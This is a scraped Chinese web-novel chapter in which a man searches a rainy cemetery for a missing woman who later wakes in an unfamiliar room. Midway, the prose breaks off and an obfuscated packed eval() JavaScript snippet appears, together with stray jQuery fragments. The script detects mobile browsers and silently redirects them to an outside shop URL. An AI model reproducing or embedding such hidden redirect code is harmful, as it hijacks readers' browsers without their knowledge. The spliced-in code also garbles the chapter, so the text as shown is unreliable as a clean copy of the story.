文趣网 > 其他小说 > 绝不原谅!离婚后季小姐独美 > 第一百三十九章 被谁带走了
    周琮慎驱车赶到的时候,墓碑前空无一人。

    可被掀开的石板和刨土的痕迹告诉他,这里刚才有人来过。

    成昆来了电话,说一个小时前确实在街道监控看到了季疏的身影。

    还是晚了一步。

    周琮慎挂断电话,将那石板重新放上去。

    而后直接去了保安室。

    他要看季疏是几点到的,又是几点离开的。

    保安室的大爷正用收音机听完新闻联播,此刻正播报着天气预报。

    预报说最近连续一周都会有大范围的持续性降雨,请广大市民减少不必要外出,做好各项防范措施。

    见门外迎着雨幕走来一个男人,大爷忙将桌上的老花镜复又戴上。

    “怎么了,小伙子?”

    周琮慎告知了来意,一听是人失踪了,忙起身配合。

    “走走走,我带你去监控室。”

    根据刚才墓碑旁还未冲散的脚印看,季疏应该离开不久。

    周琮慎将鼠标往前滑动了五十分钟,果然看见季疏走进的身影。

    但是从那以后,除了一个年轻小伙和下班的保洁大叔以外,再没有任何人的踪迹。

    只有进门监控画面,没有出门。

    所以……季疏可能还在墓园?

    见此,保安大爷也开口:“只见进没见出,那人应该还在园子,不然不可能没拍到。”

    包括下山必经石板路上的几个监控都查了,也是只见进来,没见出去。

    周琮慎拨通电话给成昆,让他联系园方配合找人。

    只要确定她没出去,那找起来就相对会容易很多。

    外边还在下着雨,天色已经黑透了。

    今晚风有些大,她穿得那么单薄又生着病,若是晕倒在哪……

    周琮慎越想眉头拧得越紧,起身找门卫大爷要了个手电筒就冲出了监控室。

    “哎,小伙子拿个伞啊,外边这么大的雨。”

    话音还没落,那道身影就已经没了踪影。

    “哎。”大爷摇了摇头,叹气:“但愿别出什么事才好。”

    思及此,又将监控室门关了,匆匆跑去了保安室。

    “可得盯着大门,万一那丫头下来,好歹还能拦住。”

    丁羡在家实在担心得坐不住,和裴旻也一同来了墓园。

    隋野本来被老爹关禁闭,听成昆说季疏失踪,周琮慎淋着雨在墓园找,干脆直接翻墙跑了出来。

    墓园不算大,可黑天又下着雨,再加上后边还有一个小树林,找起人来实在是算不上容易。

    周琮慎拿着手电筒穿梭着,雨将整个身子都淋湿了。

    衬衫贴在身上,鞋上也沾满了泥,实在狼狈至极。

    他去墓碑旁看了那串脚印,没两步就消失了。

    就算泥印越走越浅,按照这雨的冲刷力度,也绝不可能一点不见踪迹。

    他问管理员:“墓园除了前边大门,还有没有别的出口?”

    管理员开口:“这个墓园是半包结构,后边有一片树林,但是树林很大绕到主路很远,所以一般人不会走那边。”

    “那周遭还有没有可能能走的出口?”

    管理员想了想,摇摇头:“没了,东西两侧门。”

    周琮慎面色沉得厉害,已经找了快两个小时,别说人,连个鬼影子都没看见。

    心里乱如麻,每过一分钟,他心里的担忧就多一分。

    他攥着手电筒的指节发紧,唇线紧绷着。

    季疏,你到底在哪。

    “噢对了,我又想起一个地方。”

    周琮慎黑眸移向他,管理员开口:“还有个侧门,西边之前有个水塔,后来水塔拆了,那条路也没什么人走了。”

    “后来总有一些野猫野狗顺着那个出口钻进来,所以就把那个侧门封住了。”

    众人到西出口时,果然看见那扇铁门被打开了。

    “这个锁是在外边的,应该是有人从外边撬开,然后进去的。”

    手电筒往下照,果真看到了车辙印子。

    周琮慎心瞬间被揪起来,所以……季疏是被人带走了?

    “监控呢?”

    管理员一脸为难:“这个出口好久不用,平时没什么人来,所以……”

    所以监控早就被拆了。

    周琮慎心底的希冀再次被狠狠浇了个透,眼底有些绝望。

    隋野见

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17804333|208500||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    他如此神情,不知道该说什么,只能安慰:“也算是有进展了,起码……起码她人现在没有在外边淋雨是不是。”

    “或者,是哪个朋友接走了也不一定。”

    “去查,对着轮胎印排查周遭出现的所有可疑车辆,一辆也不要放过。”

    男人声音透着疲惫,双手无力地垂着。

    他此刻感到前所未有的无助。

    她想怎么样都好。

    什么要求他都可以答应。

    不管是彻查还是什么。

    但……不要伤害自己,不要无故失踪,不要出事。

    只要她能好好地,他为她什么做都行。

    墓园安排人员依旧在寻找,包括任何季疏可能去到的地方。

    被人带走了?

    和桑家有关的所有可疑人员都已经被排除。

    猛地,他心里出现了一张脸。

    —

    季疏再度睁眼时,已经是第二天清晨了。

    陌生的天花板,陌生的环境,陌生的一切。

    连身上的衣服也不是自己的。

    这是哪?

    浑身发软,头痛欲裂,鼻子堵得她难以呼吸,嗓子也像被刀片割了一样。

    手上输着液,脚后跟还贴着创可贴。

    喉咙干涩疼痛,顾不得任何,拿过一旁杯子里的水灌下。

    冰凉感袭来,胸腔内才隐隐舒畅了些。

    她按着太阳穴,回想着昨天下午从医院出来后发生的一切。

    指尖的破皮处泛着疼,她垂眸怔忡地看着。

    骤然想起了什么,忙朝着周遭看去。

    直到看到不远处桌子上那只放得好好的骨灰盒,她才狠狠松了口。

    将手上碍事的输液管再次拔掉,掀开被子,下了床。

    许是很久没吃东西又发着高烧,有气无力,走两步都觉得有些费劲。

    踩着木地板,走到桌前将盒子捧在怀里。

    盒子边缘还有些干了的泥土,她伸手将泥块搓下。

    门外传来一阵脚步声,季疏意识当即回笼,一双眸子警惕地闪着。

    脚步越来越近,她下意识将怀里的东西抱紧了些。

    下一秒,把手转动,门被打开。